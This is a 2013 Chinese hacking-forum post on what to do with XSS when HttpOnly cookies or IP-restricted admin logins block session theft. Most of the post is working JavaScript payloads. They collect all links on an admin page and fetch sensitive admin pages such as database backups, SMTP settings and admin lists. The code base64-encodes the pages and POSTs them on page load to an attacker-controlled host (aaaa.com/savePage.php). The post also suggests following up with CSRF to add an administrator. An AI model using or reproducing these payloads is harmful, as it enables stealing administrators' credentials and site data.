本帖最后由 haxsscker 于 2013-5-31 12:06 编辑
##########################################
# Title: 当XSS遇到后台限制登录或者HTTPONLY时,还能做什么?
# Time:2013.5.31
# Team: c0deplay
# Author: haxsscker
# 首发: 法客论坛
#######################################
0x01 前言
XSS确实是个好东西,往往能在我们没有头绪的时候带来一丝曙光,宛如拿站途中的一轮明月,又如饥饿时的一块小曲奇(cookie)~
然而,我们却时常遇到形如限制登录,HTTPONLY等拦路虎,这时,很多机油可能觉得XSS就没什么用了。
如下:
0x02 XSS用途探索
其实即使如此,XSS还是能帮助我们得到不少信息。甚至管理员的密码!
如何获取呢?方法有两种:
1.获取当前页面的所有URL
2.获取当前页面的代码
这个用途,撸主最开始想到的是用来对付WEBSHELL箱子的。是的,我们知道,登录一个箱子后台之后,基本上是拿不下shell的,我们要的主要是数据
例如,当时有这么一个webshell站点,马场主发现被人XSS之后,限制了ip登陆,即使得到了cookie也登不进去
这时候,我们就可以通过XSS获取页面的内容,直接得到所有webshell(当然要写一个循环)。
0x03 XSS用途探索——获取URL
不能光说不练不是,我们使用如下的js代码即可获取当前页面的所有URL:
function createXMLHttpRequest()
{
var xmlhttp;
if (window.XMLHttpRequest)
{
// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{
// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
return xmlhttp;
}
function submitForm()
{
var xmlHttp=createXMLHttpRequest();
a = document.getElementsByTagName("A");
var b = "";
for(var i=0;i
为什么不用get?答:因为get有长度限制
等管理员看的时候,就得到了所有的url,我们可以在下图看到,后台往往有一些链接地址,都是各种管理的:

之后我们需要辗转多次,来搜集一些敏感的链接,例如数据库备份,SMTP设置,管理员列表之类的
这些页面的作用:
1.数据库备份:没准能看到数据库或者备份的路径
2.SMTP设置:管理员邮箱,密码
3.管理员列表:有时候管理员密码会显示在此,即使不在,没准可以CSRF添加一个管理员
0x04 XSS用途探索——获取指定URL页面代码
得到了敏感路径之后呢,我们就可以利用如下的JS来获取特定的页面(当然,上一步在当前页面搜集不齐URL的时候,也可以使用这个JS到别的页面搜集)
关键代码如下:
function submitForm() {
var xmlHttp = createXmlHttp();
var htmlcode = getHtmlCode('http://xxxx.com/admin/asked/admin_data.asp?action=BackupData');
var html = encode64(htmlcode);
postDATA = "msg="+html;
url="http://aaaa.com/savePage.php";
xmlHttp.open("POST", url, true);
xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlHttp.send(postDATA);
}
window.onload = function(){
submitForm();
}
为什么要base64?答:现将网页escape,然后再用base64传送,即能解决传送时候一些特殊编码问题,又能解决中文乱码问题
我们得到内容的将会如下图:
然后我们先用base64解码,再unescape:
JS代码如下:
function decode64(input) {
var output = "";
var chr1, chr2, chr3 = "";
var enc1, enc2, enc3, enc4 = "";
var i = 0;
// remove all characters that are not A-Z, a-z, 0-9, +, /, or =
var base64test = /[^A-Za-z0-9\+\/\=]/g;
if (base64test.exec(input)) {
alert("There were invalid base64 characters in the input text.\n" +
"Valid base64 characters are A-Z, a-z, 0-9, '+', '/', and '='\n" +
"Expect errors in decoding.");
}
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
do {
enc1 = keyStr.indexOf(input.charAt(i++));
enc2 = keyStr.indexOf(input.charAt(i++));
enc3 = keyStr.indexOf(input.charAt(i++));
enc4 = keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
chr1 = chr2 = chr3 = "";
enc1 = enc2 = enc3 = enc4 = "";
} while (i < input.length);
return unescape(output);
}
然后可以构造一个CSRF了,至于怎么构造,可以看撸主另一篇文章:./thread-9322-1-1.html
0x05 总结
即使cookie不能用,也不要小看xss的威力,撸主标题注明了,这是一篇“研究”文,意在抛砖引玉,广开大家思路,如有其他好思路可以给撸主留言,好机油一起讨论~~
另外,这写个模块,撸主已经加到了自己用的XSS平台里~~效果图来一张:

是不是比之前撸主没有CSS的页面好看多了~~? 感谢Yaseng机油做的平台~~